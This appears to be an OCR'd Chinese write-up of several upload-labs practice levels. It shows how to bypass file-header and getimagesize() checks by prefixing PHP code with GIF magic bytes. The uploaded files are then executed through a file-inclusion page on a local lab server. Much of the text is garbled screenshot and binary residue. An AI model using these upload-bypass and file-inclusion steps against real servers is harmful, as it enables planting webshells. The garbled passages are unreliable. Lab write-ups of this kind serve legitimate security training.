15 Content-Disposition: form-data; name="upload_file"; filename="l.gif"			<td></td> <td></td> <td></td> <td></td> <td></td>					
to Content-Type: image/gif			, Code					
			. prig					
18 GIF89a *#4%/ 525335/: (BSUNUGZ. >M/HMUGIW GLUMHIAC_DQIS GL VS(s n g UU _X			code</td <td>~</td> <td></td> <td></td> <td></td> <td></td>	~				
			, coue					
			/code	5				
a a b n b 62^{-1} $k_1(v)$: NETSCAFE2.0, b b			二和后	ッ 密想上在成功:	*質过关!			
				SQ 10-1-12 /84-912	J JFAL A			
$\Gamma = \Gamma D A_{1,1}$ () $T K + Q d = m^{-1} k - C d T H = R + M = \Delta C D = -\alpha (K - K + \alpha)$	60)	1i					
α	61		(11)					
7 p = 0	62		<h3></h3>					
KD vre‰c sf · v S ^ m)(h % N n)bk/K N [上传区					
II.2 fn F0 ⁷ 7a . 'o .vunht								
H WzyB(f,h)	63	3	<form en<="" td=""><td>ctype="multi</td><td>part/form-data"</td><td>method="post"></td><td></td><td></td></form>	ctype="multi	part/form-data"	method="post">		
19 r yx w* bR% \T2 (a h (thw q< -) q4 # (N y, W! [64	1						
% 9 bj % F f Ez) 8 f V S d Y 9 .) q vb ~ g			请选	择要上传的图》	牛: >			
20) dB:g d Yj H Pz z %	65	5	<i< td=""><td>nput class="</td><td>'input_file" typ</td><td>e="file" name="</td><td>upload_file"/></td><td></td></i<>	nput class="	'input_file" typ	e="file" name="	upload_file"/>	

发送(Send) 取消(Cancel) < I > I		目标:
请求(Request)	啊舷(Respons)	
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 In Ξ	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers)] \n ≡ _
529 2 1pP	2. 使用 	
,% DpP4 B i ★)C P '1 > 4 6< c+ nRBA G = kI!	文件包含漏洞	F
530(4p)6 g 」 /e uw w u/> 3/:Ap 」% 500m+/ て 531)8 3 ':1 HMm/ú 粘 # &8 D[g (lg LX@m1郷	能运行图片马中的恶意代码。	
532 NN F0		
533 8 s @% @* }d \$F#9 L@C4 (1H@(+E Lo> D mTR km D ·>`A\₩ 0 =k R K T u b	59 〈p〉 3 图片马ም〈code〉	
534 - {0Q" TI# @ <e 3="" 8`="" td="" tpd#,<="" w\ ="" x`e6="" =""><td>. jpg</td><td></td></e>	. jpg	
535 97		1
530 A 2 537 N 4 .& @'YSI` H `> B	, code/	1
2p1 6 Y <r !="1" @y="" j@"p="" n<="" td="" x@l!)=""><td></td><td></td></r>		
000H0 b H hTe356 UHBALB f M @ xx ? 3TI + P9°> ≪IP = 6U * @ C(ID	, <code> </code>	
1 kYCT +3=13p\ x3 -x dS @ 8		
538 2X 5HP00 Q& Ex Z M:] , z Pb\ QIF W 1 U	三种后缀都上传成功才算过关!	
d = -2 ($d = 3$) (d = 3) $d = 3$) (d = 3) $d = 3$) (d = 3) (d =	60 1i	
J 0p g,1h@ G]W1@b 6 a=4< He @ 3 @%p Q s&20 '	61 kino di kino di	
SP210 #N0 ′ / 9 8 ,b6 PBB# q 4HS P 0 J qKp Q j Je L 7 #1.66 X H{HC x< A 9 Fn RA via	62 <h3> 上传区</h3>	
A n <a 3n="" <qav<="" td=""><td></td><td></td>		
8.90 MuiE W tmt . 0z %9 = s fH <t huz<="" td=""><td>63 <form enctype="multipart/form-data" method="post"></form></td><td></td></t>	63 <form enctype="multipart/form-data" method="post"></form>	
g +w 7 3 p nxg, b 2 Pn xu n 0b n 5 u L″>D _&a!Z z\$ 0f[K% +Qu EB + x [″ 3+ , ,)``Y / Z9 o	□04 (p) 请选择要上传的图片:	
$P \div x$ 'P C8!h 0 0 p E xUT auI 0E qk 0:D 9 CRp K # NR	65 <input class="input_file" name="upload_file" type="file"/>	
k T\$J = +wg.de H AS f≉&a CB ′P b Qz ZHTu qd {1 ″ R^(aN t i) dC 356 K8 (x	66 <pre>(input class="button" type="submit" name="submit" value="上传"/> (/form></pre>	
A 'xd# {.@@ 6 {H a @ A 3 ^ yf# Wz a w wWEOTP* o"e	68 <div id="msg"></div>	
$q(6^{vW} W h * X \& E ()hq8Q K D C3N 2^{v}. Q$	69	
540 g G H ! @xy %PI #) ATO - T(8sd'	71 71 <td></td>	
3 H P;3 z Q "I A VVV KXy Z iH /r R ue		
g 7 'A - Uvy #G F } b 'b % d Rp D T M _ C 541 u DV d % o' V V i FR\$R2 % o	$72 \langle /li \rangle$	
)0 > A '*H'+ 0 * & % Y	73	
$\frac{\text{%gr} > y}{\text{C24}} = \frac{1}{2} \frac{1}$	74	
543	76	
544 Content-Disposition: form-data; name="submit"	77 <div id="footer"></div>	

打开 include.php 文件,这里直接显示了 源码,是利用 GET 方法对 file 参数传参

目标: http://1

100 100 00 100 /		
192.108.93.128/inclu		
$\leftarrow \ \ \rightarrow \ \ G$	🔿 👌 192.168.93.128/include.php	
php</th <th></th> <th></th>		
/* 本页面存在文件包	见含漏洞,用于测试图片马是否能正常运行!	
+/ header("Content	-Type:text/html;charset=utf-8");	
<pre>\$file = \$_GET if(iccot(\$file))</pre>	['file'];	
include	\$file;	
}else{	urce(file)	
}		
7>		
phpinfo() ×	+	SEA SHEPHERD 🕏 🌮
$\leftarrow \rightarrow \ \mathbf{G}$	O 🙆 192.168.93.128/include.php?file=upload/6120220418135151.gif	
	\$	• • • • • • • • • • • • • • • • • • •
\$=\$(\$\$D\$mπ\$\$ &hHC \$ \$\$+v\$)F\$\$t \$9{\$\$aJF\$}	♦₽₽ŶĨ!\$ ♦ ₣₶₳₽ŀ₱X;\$₽ \$₽\$?QX&L5&\$	1&&&D\$,eTY\$j\$*&&&Y\$ &^&&&nq*[QHH\$,)\$\$q\$\$XK\$\$\$(8A\$@\$@\\$2\$.\$
opo;otolbo"lo?oo200` ooeooRA ouloo@PAoo oXooogooRooo#V2oo	₽₽₽₺ℤ₡₱₳₱₦⋾₽₱₺₺₽₺₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽	1 φ



然后用同样的方法把png 和 jpg 马都上传上去,进行文件包含访问就可以了

phpinfo() ×	🕤 upload-la	abs × +			
$\leftarrow \rightarrow \mathbf{G}$	0 8 19	2.168.93.128/include.php	?file=upload/4020220418202608.jpg		

п

PHP Version	5.2.17 Php
System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure.js "enable-snapshot-build" "enable-debug-pack" " with-snapshot-template=d\php-sdk\snap_5_2\vc6\x86\template"with-php- build=d\php-sdk\snap_5_2\vc6\x86\php_build" "with-pdo-oci=D\php- sdk\oracle\instantclient10\sdk,shared" "-with-oci8=D\php-sdk\oracle \instantclient10\sdk,shared" "with-oci8=D\php-sdk\oracle
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini
Scan this dir for	(none)

	SH
← → C (> ≥ 192.168.93.128/include.php?file=upload/1020220418211347.png (E ↔	011
C C	
200 CLOBORY (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	≱,♥୮~♥ ≱A»A8) ≬ {V�û�H

PHP Versi	on 5.2.17
System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configurejs *enable-snapshot-build * *enable-debug-pack * with-snapshot-template=d:yhp-sdk(snap_5_2\vc6k)d6\template *with-php- build=dtyhp-sdk(snap_5_2\vc6k)d6\template)

源码

```
function getReailFileType(<mark>$filename</mark>){
 $file = fopen($filename, "rb"); // 以读取二进制方式打开文件
 $strInfo = @unpack("C2chars", $bin); // unpack() 函数用来解包文件
 $typeCode = intval($strlnfo['chars1'].$strlnfo['chars2']); // 返回解包后的值然后连结(函数的作用不是很明白找了文章也没很懂,有兴趣的自
 己再学习下)
 switch($typeCode){ // 判断上面解包后的数据和这个数据是不是相等,相同的输出对应的格式
    case 255216:
      $fileType = 'jpg';
      break;
    case 13780:
      $fileType = 'png';
      break;
      $fileType = 'gif';
      break;
    default:
      $fileType = 'unknown';
    return $fileType;
$is_upload = false;
msg = null;
if(isset($ POST['submit'])){
 $temp_file = $_FILES['upload_file']['tmp_name'];
 $file_type = getReailFileType($temp_file);
 if($file_type == 'unknown'){
    $msg = "文件未知, 上传失败! ";
 }else{
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
    if(move_uploaded_file($temp_file,$img_path)){
    } else {
      $msg = "上传出错!";
    }
 }
```

方法: 文件头-图片马和文件包含漏洞利用

Pass-14

直接上传了一个jpeg图片□就过了,访问地址就成功执行了php代码

ᡗᡗ<u>₽</u>└╍╍┥᠆╽๏᠘᠑



□ 日本 BackBar 中 重石器 ○ 控制台 ○ 调试器

─ upload-labs ×	phpinfo()	+	SFA	SHE	: PHF
$\leftarrow \rightarrow \mathbf{C}$	🔿 👌 192.168.93.128/inclu	de.php?file=upload/4720220419095311.jpeg	8 ☆	0111	عر ⊡
	Implement Implement <td< th=""><th>un be a seried of the series o</th><th>\$ \$</th><th>0 0</th><th>GP \$ 18 \$ 4</th></td<>	un be a seried of the series o	\$ \$	0 0	GP \$ 18 \$ 4

PHP Versi	on 5.2.17	php
System	Windows NT DESKTOP-42010UK 6.2 build 9200	
Build Date	Jan 6 2011 17:26:08	

Configure cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--



☆ upload-labs ×	phpinfo() \times	+					SFA	SHF	PHFR
$\leftarrow \rightarrow \mathbf{G}$	🔿 👌 192.168.93.128/include	.php?file=upload/622022041909	539.png				8 ☆	UIIL	ی غر ⊚
$\begin{array}{c c} \leftarrow \rightarrow & \textbf{C} \\ \hline \\ \forall \diamond \land \land$	○ À 192.168.93.128/include ••••••••••••••••••••••••••••••••••••	s:php?file=upload/522022041909; C:T. W & Y & T. W & Y & Y & Y & Y & Y & Y & Y & Y & Y &	539,png ••••••••••••••••••••••••••••••••••••	Import Import<	0	wrccegir - mmrwere bel^ & fikegy & ec c	□ ☆ □ ☆ □ ↓ ↓ ↓		Image: Constraint of the second sec
2¢)[¢¢¢¢¢KK+g¢\¢X.	\$,y \$\$\$ + \$\$ C \$\$ }S \$ Q)F \$\$	��)�慰虓M��/p@���^	♦	? � � � B � �.cd � ~ S9VN" � a		<i>*</i> b &&& B &&& R {	IX @ -0 @ F @ @	A»A8) &	566U \$ 5 \$ n
\$\$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$ \$\$	৻ ৵ <i>ড়ড়ড়৻ড়</i> ₽ ড়৻ ৾ড়.=9∼K)Q(@ ♦ ৡQEIJ ৡ \$H ৡNৡৡ n97 ৡ ₽ ৡ♦	\$j\$t\$m\$W\$\$\$'.NQu\$\$ER }	&&&-&on:&1&J&II&&YT\$& &Z&&&=&A&A&A&A&A&A&A&A&A&A&A&A&A&A&A&A&A	ΠΦΙΦΦΦΦΦΦΦΦΟΝ~Κ 2h φ_φφ4φh φφ 9υ φφ iφ_	♥>K♥II♥IUX♥JB♥% @ M\ _ ♦♦ 4 ♦ h ♦♦ g ♦♦ @Om §	n/∪oooan. ooo\w%qw ooleNDooB`oo	ŀ&I \$}\$€\$^{{	v ଡ଼ ଌଡ଼HCK	���µ�=⊦

PHP Versi	on 5.2.17	php
System	Windows NT DESKTOP-42010UK 6.2 build 9200	
Build Date	Jan 6 2011 17:26:08	

ŵpLood-lo&S

-upc-000-10	באו	Q 搜索 HTML	+ 🗡
		<html> event</html>	ź
		▶ <head> ···· </head> = <hodys (梁武)="" (漢史)<="" th=""><th>2</th></hodys>	2
Pass-01		◆ <body> (梁敏) (梁母) ▶ <diy id="head"> </diy> 澤田</body>	-
Pass-02	任务	<pre>▼ <div id="main" style="min-height: 772p></pre></th><th>;"> 選蛋 }</div></pre>	
Page 02		<pre>▶ <div id="menu"> ··· </div></pre>	ş
Fass-03	上传 图片马 到服务器。	<pre><div id="upload_panel"></div></pre>	
Pass-04		▼ <01>	o
Pass-05	注意:	<112 <h3>任务</h3>	1
Pass-06		▶	, i
Pass-07	1.保证上传后的图片马中仍然包含完整的(句ki ox webshell 代码。	>注意:	-
Pass 08	2 使用文件复杂浸润能运行网上互力的亚奇代型	▶)
D=== 00		▶ · · · / p>	1
Pass-09	3、图片马要,mag		3
Pass-10			9
Pass-11	上作文	<h3>上传区</h3>	3
Pass-12		<pre> <form <="" enctype="multipart/form-d mothod_" nost"="" pre=""></form></pre>	ata" o
Pass_13	请 洗 择 栗 上 传 的 图 片 ·	(D)请洗择要上传的图片:	
Dage 14	変化は文大でも図/1・	▶)
Pass-14			o
Pass-15		<pre>> <div id="msg"> ···· </div></pre>	3
Pass-16		<pre><div 1d="img"></div></pre>	100231 gif" 4
Pass-17		width="250px">	<u>ioursit</u>
Pass-18			ľ
Pass_10		1i	
Daga 20		01	3
Pass-20			2
		▶ <div id="footer"> </div> 灌出	:
		<div class="mask"></div>	3
		<pre><div class="dialog">!!! </div> <th></th></pre>	
		/jquery.min.js">	
		<script javascript"="" src="/jg /prism.js" text="" type="text/javascript"></script> /prism.js"> /prism.js">/prism.js"/js"/js"/js"/js"/js"/js"/js"/js"/js"/js"/js"	/ 1
		<pre><script javascript"="" src="/jg
/prism.jg" text="" type="text/javascript"></script> <script src="/jg
numbers.min.jg" type="text/javascript"></script> <script javascript"="" src="/jg /prism.j5" text="" type="text/javascript"></script type="text/javascript" src="/jg numbers.min.j5"></script type="text/javascript" <script type="text/javascript" <script type="text/javascript" src="/jg php.min.j5"></script</script</script</script</script</script</script</script</script</script</script</script</script</script</pre></th><th>/prism-line_ /prism-</th></tr><tr><th></th><th></th><th><pre><script type="text/javascript" src="/jg</th><th><u>/prism-line-</u></th></tr><tr><th></th><th></th><th><pre><script type="text/javascript" src="/jg /prism.jg"></script src="/jg numbers.min.jg"></script src="/jg numbers.min.jg"></script <script type="text/javascript" src="/jg npnmin.jg"></script <script type="text/javascript" src="/jg /index.jg"></script> /index.jg"> /index.jg"></pre>	/ <u>prism-line-</u> /prism-
		<pre><script src="/jg
/prism.jg" type="text/javascript"></script src="/jg numbers.min.jg"></script src="/jg numbers.min.jg"></script <script type="text/javascript" src="/jg npn_min.jg"></script <script type="text/javascript" src="/jg /index.jg"></script> </pre>	/prism-line_ /prism_
		<pre><script <<="" script<br="" src="/jg
/prism.jg" type="text/javascript"><script type="text/javascript" src="/jg numbers.min.jg"</script> <script <="" script="" src="/jg
php.min.ig" type="text/javascript"> <script type="text/javascript" src="/jg /index.jg"></script> </pre>	/prism-line_ /prism-
		<pre><script javascript"="" src="/jg
/prism.jf" text="" type="text/javascript"></script></pre>	

← → C	
♦= (() D 0 mm	- @ @ Ø Ø M Ø (W Ø E Ø Lm Ø Ø D Ø, eTY Ø jØ * Ø Ø @ @ Ø Ø Ø Ø Ø Ø P R* Ø V Ø Ø Ø P R* Ø Ø Ø Ø P R* Ø Ø Ø Ø P R* Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø Ø
<pre></pre>	● ●

PHP Version	5.2.17 Php
System	Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configurejs *enable-snapshot-build *enable-debug-pack * with-snapshot-template=dtphp-sdk(snap 5_2vc6vs8)(template* *with-php- build=dtphp-sdk(snap 5_2vc6vs80;hpb_build) *with-gbo-oi=Dtphp- sdk(oracle/instanticlient10vslk,shared*withou-to-8B=Dtphp-sdk(oracle /vistanticlient10vslk,shared*withou-tp3veb*
Server API	Anache 2.0 Handler

起始页	P	hpir	ıfo_	2.gif	۶×												
	Ū	1	2	3	4	5	6	7	8	9	А	В	С	D	Е	F	0123456789ABCDEF
0000h:	47	49	46	38	39	61	8C	00	D2	00	F6	00	00	02	02	01	GIF89aŒ.Ò.ö
0010h:	08	12	06	02	0C	10	13	1B	15	2A	23	0E	03	1C	24	14	*#\$.
0020h:	26	2F	04	27	35	04	32	35	18	33	33	36	3E	ЗA	28	29	&/.'5.25.336>:()
0030h:	28	42	35	0F	4F	4E	30	67	5A	2E	0B	3E	4D	2F	48	4D	(B5.ONOgZ>M/HM
0040h:	0D	55	67	0F	66	77	27	5E	64	4C	4F	4D	48	59	61	63	.Ug.fw'^dLOMHYac
0050h:	5F	62	71	74	73	5E	67	5B	86	76	53	7B	83	73	A0	96	_bqts^g[tvS{fs -
0060h:	68	DB	Β4	67	E1	C7	75	12	75	8B	5F	78	83	13	83	9A	hÛ´gáÇu.u‹_xf.fš
0070h:	17	90	Α9	18	9C	B6	28	97	A8	6F	93	99	1E	AE	CA	24	©.œ¶(—¨o"™.®Ê\$
0080h:	AA	C3	2F	Β4	CE	47	BD	D6	55	C6	D9	91	92	93	AE	B0	ªÃ/´ÎG½ÔUÆÙ'′"®°
0090h:	AE	9E	A8	9C	C3	BE	BF	CB	BA	8C	B2	C7	B7	F3	D4	8E	®ž¨œÃ¾¿ËºŒ²Ç∙óÕŽ
00A0h:	D2	D0	AF	F3	D9	AF	FD	F3	BB	F6	EC	AE	AA	BB	C0	B6	ÔĐైóÙ ýó»ö쮪»À¶
00B0h:	CA	CD	9C	DC	E8	94	F4	EB	8E	F4	F0	B8	E6	EE	AF	E9	ÊÍœÜè"ôëŽôð,æî é
00C0h:	EF	A6	D9	D7	D0	D2	D2	FE	F9	CC	FD	FC	DB	F4	EC	D4	ï¦Ù×ĐÒÒþùÌýüŨôìÔ
00D0h:	D0	EE	F4	D4	F1	F1	ΕA	E9	E8	F8	EF	EF	FC	FC	EC	E3	ÐîôÔññêéèøïïüüìã
00E0h:	F5	F8	FB	FE	FE	EC	EF	F5	DE	DF	D5	79	7D	80	80	D3	õøûþþìïõÞßÖy}€€Ó
+++/-+-=	-																

模板结果 - GIF.bt ∂

谷杯	值	开始	大小	颜色	注释
✓ struct GIFHEADER GifHeader)h	бh	Fg: Bg:	
> char Signature[3]	GIF)h	3h	Fg: Bg:	
> char Version[3]	89a	βh	3h	Fg: Bg:	
struct LOGICALSCREENDESCRI		6h	7h	Fg: Bg:	
ushort Width	140	6h	2h	Fg: Bg:	
ushort Height	210	8h	2h	Fg: Bg:	
> struct LOGICALSCREENDES		Ah	1h	Fg: Bg:	
UBYTE BackgroundColorIn	0	Bh	1h	Fg: Bg:	
UBYTE PixelAspectRatio	0	Ch	1h	Fg: Bg:	
> struct GLOBALCOLORTABLE Gl		Dh	180h	Fg: Bg:	
> struct DATA Data		18Dh	1BA7Bh	Fg: Bg:	
> struct TRAILER Trailer		1BC08h	1h	Fg: Bg:	

后面7位是图片的宽高和其他信息,将前面的

0000h: 47 49 46 38 39 61 8C 00 D2 00 F6 00 00 22 02 01 GIF89aŒ.0.ö*#\$. 0020h: 25 25 04 27 35 04 22 25 18 32 32 62 53 229 20 8.4.'5.25.336:() 0030h: 28 42 35 0F 4F 4E 30 67 5A 2E 0B 3E 4D 2F 48 4D (B5.0N0gZ>M/HM 0040h: 0D 55 67 0F 66 77 27 5E 64 4C 4F 4D 48 59 61 63 .Ug.fw'AdLOMHYac 0050h: 5F 62 71 74 73 5E 67 5B 86 76 53 7B 83 73 A0 96 _bqts/g[tvS{fs - 0060h: 68 DB B4 67 E1 C7 75 12 75 8B 5F 78 83 13 83 9A hÚ'gáÇu.u<_xf.fš 0070h: 17 90 A9 18 9C B6 28 97 A8 6F 93 99 1E AE CA 24@.em{(-orimu.@E\$ 0080h: AA C3 2F B4 CE 47 BD D6 55 C6 D9 91 92 93 AE B0 ^a Å/îG%OUEÙ': **@° 0090h: AE 9E A8 9C C3 BE BF CB BA 8C B2 C7 B7 F3 D4 8E ^a Z'æÅ½ ɰŒ ² C·óÔŽ 0040h: D2 D0 AF F3 D9 AF FD F3 BB F6 EC AE AA BB C0 B6 ÒD ôÙ ýówöi@ ^a Ŷ 0080h: CA CD 9C DC E8 94 F4 EB 8E F4 F0 B8 E6 EE AF E9 ÉfœÜ ² céŽdð aî ^a é 0000h: EF A6 D9 D7 D0 D2 D2 FE F9 CC FD FC DB F4 EC D4 ï¦Ù×ĐôÒbùlýûûôiô 0000h: F5 F8 F8 (FE) FE EC EF F5 DE DF D5 79 7D 80 80 D3 õøûbbìtõÞBÕy}€€Ó												
模板结果 - GIF.bt ♀												
名称	值	开始	大小		颜色	注释						
struct GIFHEADER GifHeader		0h	6h	Fg:	Bg:							
> char Signature[3]	GIF	0h	3h	Fg:	Bg:							
> char Version[3]	89a	3h	3h	Fg:	Bg:							
 struct LOGICALSCREENDESCRIPTOR LogicalScreenDescriptor 		6h	7h	Fg:	Bg:							
ushort Width	140	6h	2h	Fg:	Bg:							
ushort Height	210	8h	2h	Fg:	Bg:							
struct LOGICALSCREENDESCRIPTOR_PACKEDFIELDS PackedFields		Ah	1h	Fg:	Bg:							
UBYTE GlobalColorTableFlag : 1		Ah	1h	Fg:	Bg:							
UBYTE ColorResolution : 3		Ah	1h	Fg:	Bg:							
UBYTE SortFlag : 1		Ah	1h	Fg:	Bg:							
UBYTE SizeOfGlobalColorTable : 3	6	Ah	1h	Fg:	Bg:							
UBYTE BackgroundColorIndex		Bh	1h	Fg:	Bg:							
UBYTE PixelAspectRatio	0	Ch	1h	Fg:	Bg:							
struct GLOBALCOLORTABLE GlobalColorTable		Dh	180h	Fg:	Bg:							
> struct RGB rgb[128]		Dh	180h	Fg:	Bg:							
> struct DATA Data		18Dh	1BA7Bh	Fg:	Bg:							
✓ struct TRAILER Trailer		1BC08h	1h	Fg:	Bg:							
UBYTE GIFTrailer	59	1BC08h	1h	Fg:	Bg:							

修改 php 文件 添加上图片文件的属性,修改成gif的信息后保存为gif图片。

🥶 UIU	Editor - E:\Kolan\	vepsnell Fil	e\pnp\pnp	pinto.pnp																
文件(E)	编辑(E) 搜索(S) 视图(⊻)	格式(0)	脚本(1)	模板(L)	调试(<u>D</u>)	工具(T)	窗口(<u>W</u>)	帮助(<u>H</u>)											
🗋 🗸	📂 ~ 🔚 📫 🤅) 🖿 👘	U 🏷 🖣	i 📑 🤘	୍ ମ	🔎 🖧	🤛 🔶	🗾 💆	Hex	\$ ¶		📐 I 🔳	👰 1	è 📠 🗄	ጂ 🐔 🐔	<mark>}</mark> ■				
起始页	phpinfo_2.gif	phpinf	o.php ×																	
0000h <mark>:</mark> 0010h:	0 1 2 3 47 49 46 38 68 70 20 70	4 5 6 39 61 8C 68 70 69	7 8 00 D2 (6E 66 (9 A B 00 F6 00 5F 28 29	C D 0 00 30 9 3B 31	E Ĕ C 3F 70 F 3E	012345 GIF89a hp php	6789ABCE Œ.Ò.ö∢ info();?)EĚ p<br ?>		(新建 ~							↑↓ 排序 ~	
											÷	→ ~	<mark>)</mark> «	photoma	a > gif			С		
												전 7-高阶 php upload 전 OneDriv	★ 函数 I-labs e	pi	hpinfo_1.gi	f p	shpinfo_2.	gif	phpinfo-3.gif	
											ک <	WPS网盘								

成功的将恶意图片上传到了服务器上,然后再通过文件包含访问图片即可执行代码。



 →
 C
 C
 A
 192.168.93.128/include.php?file=upload/6920220419104418.gif

GIF89a���

php PHP Version 5.2.17 System Windows NT DESKTOP-42O1OUK 6.2 build 9200 Build Date Jan 6 2011 17:26:08 cscript /nologo configure.js *--enable-snapshot-build* *--enable-debug-pack* *--with-snapshot-template=d\php-sdk\snap 5_2\vc6\x86\template* *--with-php-build=d\php-sdk\snap_5_2\vc6\x86\php_build* *--with-pdo-oci=D\php-sdk\oracle\snathclient10\sdk.shared* *--with-oci8=D\php-sdk\oracle \instantclient10\sdk_shared* *--without-pi3web* Configure Command Server API Apache 2.0 Handler Virtual Directory enabled Support Configuration File (php.ini) Path C:\Windows Loaded Configuration File E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini Scan this dir for additional .ini files (none) additional .ini files parsed (none) PHP API 20041225

通过上面的修改操作,就可以直接绕过**getimagesize()**函数的限制了(其实修改文件头也就是前四位就可以了,对于其他类型的可能长度不一致)。

```
#源码
```

```
function isImage($filename){
 $types = '.jpeg|.png|.gif';
 if(file_exists($filename)){
   $info = getimagesize($filename); // 获取图片的信息及大小,成功返回数组,失败则返回 FALSE
    $ext = image_type_to_extension($info[2]); // 根据指定的图像类型返回对应的后缀名
   if(stripos($types,$ext)>=0){ // 查找截取的后缀是否在白名单中
      return $ext;
   }else{
      return false;
 }else{
   return false;
$msg = null;
if(isset($_POST['submit'])){
 $temp_file = $_FILES['upload_file']['tmp_name'];
 $res = isImage($temp_file); // 确认是图片类型后就进行保存文件
    $msg = "文件未知, 上传失败! ";
 }else{
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
    if(move_uploaded_file($temp_file,$img_path)){
      $is upload = true;
   } else {
      $msg = "上传出错!";
 }
```

方法:绕过 getimagesize(),修改恶意代码文件的文件信息

Pass-15

还是随便上传一个图片马

Pass-01 Pass-02 Pass-03 Pass-04 Pass-05 Pass-06 Pass-07 Pass-07 Pass-08 Pass-09 Pass-10 Pass-11 Pass-12 Pass-13 Pass-14 Pass-15 Pass-16 Pass-17 Pass-18	任祭 上传 图片马 到 服务器。 注意: 1.保证上传后的图片马中仍然包含完整的 一句话 或 webshell 代码。 2.使用文件包含漏洞能运行图片马中的恶意代码。 3.图片马要 jpg , jpg , jgg , j	<pre>chtml> event</pre>
Pass-20		<pre> html > body > div#main > div#upload_panel > ol > li > div# </pre> <pre> </pre> <pre></pre>

						23.31
🐨 upload-labs 🛛 🗙 🗙	phpinfo() × +				SEA SHEPHER	1 🛼 🐨 🍝
$\leftarrow \rightarrow c$	O 8 192.168.93.128/include.php?	file=upload/3020220419144512.gif		(3		
44L4,4444704W4435	14045114@404 44x4444	0401.0421 44444414 44444104K04 44444		۵.: ۵۰۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹۹	AII + AIN5 & A DOVC & A D & A & A + A +	ADORA A
♦ ♦) ♦ ♦9 ♦ ♦9\$ ♦ !#bU< ♦ i. (z&@f@#@0 F=@@8I @!@@@@	9 % \$p)@3 \$Y\$\$I\$\$\$\$\$\$\$\$\$ \$	c � ֏7fc/PX ��� I3J �� PP" % b*p � (��	•<ف>♦♦♦♦♦♦♦%%%\$\$	⋧ ⋧@ ⋧₳ ⋧ С ⋧ ₳!/Рб ⋧ ₿* \$% ⋧ ⋧ Н €	UP��S��
\$\$ \$:03 \$ \$` \$ b: \$ ` \$ tj \$ 3` \$:F	יו¢¢@:!¢\$,¢¢¢\$'525&/33*≉ ראסויגיאיל	f()(6>:>M9G2 Ugtw/HM'^dB5ON0gZ.LOMHYa^g[c_bc	Itsu@_x@y}@{@s@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@			
44344/4404404414	6644044044044°440344		00000000000000000000000000000000000000	\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\	444444444444444444 6666666666666666666	
H & &&*\Ŏ&Ç#J&H&&ŋI	(&&ðð) A&1&de(S&&k&K& 4h	pP & &M< & &O & - & &@ & &&=j & &N&PE & &&&D	@ \$ d \$\$\$\$ / \$ \$ \$ A \$\$ &f1Rd.#22	Xp` && k & & & 1&&zDY/1c#36(& @ & H	 ѻ р ѻѻѻ*ѻ С ѻ 6bBAR ѻ 1о ѻѻ ј ѻ с	& & p & @h & & &
& &Cal & O & Y && & W && O &	"Zovooo!oooFCoopo2&/	& m & B`Ap< & z & \ && Bg && < & C & J &&& S\\ &	¢[[nl*c&&&D&@E&*&.&C&,&&&y	•NoCo\$_ootMooaooo9o0oo8c0	\$\$n:rqa=DqC \$J#\$\$9\$\$\$0	1Q
\$=\$(\$\$ D\$mπ\$\$\$&hHC\$	\$P\$31:\$ \$F#\$\$ \$&\$b \$\$,\$	f&&&l&&0&&&F&&&&&M&X&N&,&p&&	0 F\$\$`H\$:\$=\$C\$\$\$=x\$0\$\$!\$ x\$	'&&&*6l&~@&&&.M&{W&&E& Lm&	& &D&,eTY&j&*&&Y& &^&&	∳nq*[
		<;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;	ZIQIQJ3QQIQQ^R@QQQQQDILDJQ \/A\A0IcAEAu*I[DflA%AAzAn[At9A	\$\$ \$]42 \$\$ @ \$\$\$\$ E\$8/ \$\$; Q \$6558 '-H\$\$ & \$4 \/\$\$ P\$\$\$0014	HH Q,)QQQQXKQQQ(8AQ@Q(AD*vAv~A0AAuA\&A~HB@A	DAHTSAKOGAA
	00000000000000000000000000000000000000	KHIA.A!`AJAAA:AAWD)AqfËAAA 0AA&@ao0Ad	A@@@i@@K@@@0S8@z\$@@@@@	a\$.@\aaKFaaB"!Sa:aaavwX%a.a	Lôôôôn [gô#ôôô.ôôô8bzô6	
\$X\$\$\$\$\$R\$\$\$#V2\$	¢¢¢¢¢N¢HH ¢¢+f¢z]B2ڭ\$i	&&&&d&&^&:O&&7}&&u&&GGwl>&]&&&&Y	@]*2IXC&&&>%&G2<[&&UW&:&F &	w3~ & & &W&&&&0&&&&u&d&&C	&	�^ಔ' @zı} @ 7YL
���0% ^[] \$y \$\$x@0}\$\$ \$	\$ \$\$ R&% =\$\$ + \$\$\$\$ 4 \$ [#] <	¢¢x ¢: IX4t ¢? \$~¢_3 \$ B \$ H \$ 7t)\$o \$ \$ \$ b\>\$\$\$C	}&&& s= & p &&&& && G'&E && d & &	Z \$ 7, \$ e \$ a,F \$\$ uZnf('_4 \$ D \$\$i\$ 0C \$ "	.5`(h \$ LE \$7\$\$n\$\$ pw \$\$ "/F^0	&0 \$ 40 \$ f \$ 30
